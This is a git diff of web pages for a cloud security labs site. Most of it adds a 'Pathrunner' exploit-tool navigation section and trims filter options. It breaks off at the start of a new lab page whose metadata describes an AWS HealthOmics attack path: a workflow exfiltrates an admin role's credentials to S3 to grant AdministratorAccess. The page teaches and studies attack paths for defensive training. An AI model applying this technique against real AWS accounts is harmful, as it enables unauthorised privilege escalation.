+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/lambda-006/index.html b/docs/labs/lambda-006/index.html
index 40b7a080..71b68496 100644
--- a/docs/labs/lambda-006/index.html
+++ b/docs/labs/lambda-006/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/lambda-invoke-update/index.html b/docs/labs/lambda-invoke-update/index.html
index ca08d195..ce996a19 100644
--- a/docs/labs/lambda-invoke-update/index.html
+++ b/docs/labs/lambda-invoke-update/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/multi-hop-both-sides/index.html b/docs/labs/multi-hop-both-sides/index.html
index e3ec5db7..abfd9620 100644
--- a/docs/labs/multi-hop-both-sides/index.html
+++ b/docs/labs/multi-hop-both-sides/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/multiple-paths-combined/index.html b/docs/labs/multiple-paths-combined/index.html
index 5861e92a..5dda5a23 100644
--- a/docs/labs/multiple-paths-combined/index.html
+++ b/docs/labs/multiple-paths-combined/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/omics-001/index.html b/docs/labs/omics-001/index.html
new file mode 100644
index 00000000..29509246
--- /dev/null
+++ b/docs/labs/omics-001/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>AWS HealthOmics Workflow to Admin - pathfinding.cloud Labs</title>
+    <meta name="description" content="Pass an admin role to an AWS HealthOmics WDL workflow whose task exfiltrates the execution role&#x27;s temporary credentials to S3, then retrieve and use those credentials to attach AdministratorAccess to the starting user">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/omics-001/">
+    <meta property="og:title" content="AWS HealthOmics Workflow to Admin - pathfinding.cloud Labs">
+    <meta property="og:description" content="Pass an admin role to an AWS HealthOmics WDL workflow whose task exfiltrates the execution role&#x27;s temporary credentials to S3, then retrieve and use those credentials to attach AdministratorAccess to the starting user">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="AWS HealthOmics Workflow to Admin - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Pass an admin role to an AWS HealthOmics WDL workflow whose task exfiltrates the execution role&#x27;s temporary credentials to S3, then retrieve and use those credentials to attach AdministratorAccess to the starting user">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
